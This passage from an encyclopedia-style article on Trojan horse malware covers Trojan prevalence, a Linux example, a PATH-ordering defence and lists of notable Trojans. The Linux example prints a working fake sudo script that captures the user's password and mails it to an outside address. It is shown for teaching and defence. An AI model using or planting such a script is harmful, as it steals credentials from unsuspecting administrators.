public and accessing smartphone data before it becomes encrypted via other applications. Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, Trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "Trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." Trojans have a relationship with worms, as they spread with the help given by worms and travel across the internet with them. BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a Trojan infection. Linux example A Trojan horse is a program that purports to perform some obvious function, yet upon execution it compromises the user's security. One easy program is a new version of the Linux sudo command. The command is then copied to a publicly writable directory like /tmp. If an administrator happens to be in that directory and executes sudo, then the Trojan horse might be executed. Here is a working version: : # sudo # ---- # Turn off the character echo to the screen. stty -echo /bin/echo -n "Password for `whoami`: " read x /bin/echo "" # Turn back on the character echo. stty echo echo $x | mail -s "`whoami` password" outside@creep.com sleep 1 echo Sorry. rm $0 exit 0 To prevent a command-line based Trojan horse, set the . entry in the PATH= environment variable to be located at the tail end. For example: PATH=/usr/local/bin:/usr/bin:.. Notable examples Private and governmental ANOM - FBI 0zapftis / r2d2 StaatsTrojaner – DigiTask DarkComet – CIA / NSA FinFisher – Lench IT solutions / Gamma International DaVinci / Galileo RCS – HackingTeam Magic Lantern – FBI SUNBURST – SVR/Cozy Bear (suspected) TAO QUANTUM/FOXACID – NSA WARRIOR PRIDE – GCHQ Publicly available EGABTR – late 1980s Netbus – 1998 (published) Sub7 by Mobman – 1999 (published) Back Orifice – 1998 (published) Beast – 2002 (published) Bifrost Trojan – 2004 (published) DarkComet – 2008-2012 (published) Blackhole exploit kit – 2012 (published) Gh0st RAT – 2009 (published) MegaPanzer BundesTrojaner – 2009 (published) MEMZ by Leurak – 2016 (published) Detected by security researchers Twelve Tricks – 1990 Clickbot.A – 2006 (discovered) Zeus – 2007 (discovered) Flashback Trojan – 2011 (discovered) ZeroAccess – 2011 (discovered) Koobface – 2008 (discovered) Vundo – 2009 (discovered) Coreflood – 2010 (discovered)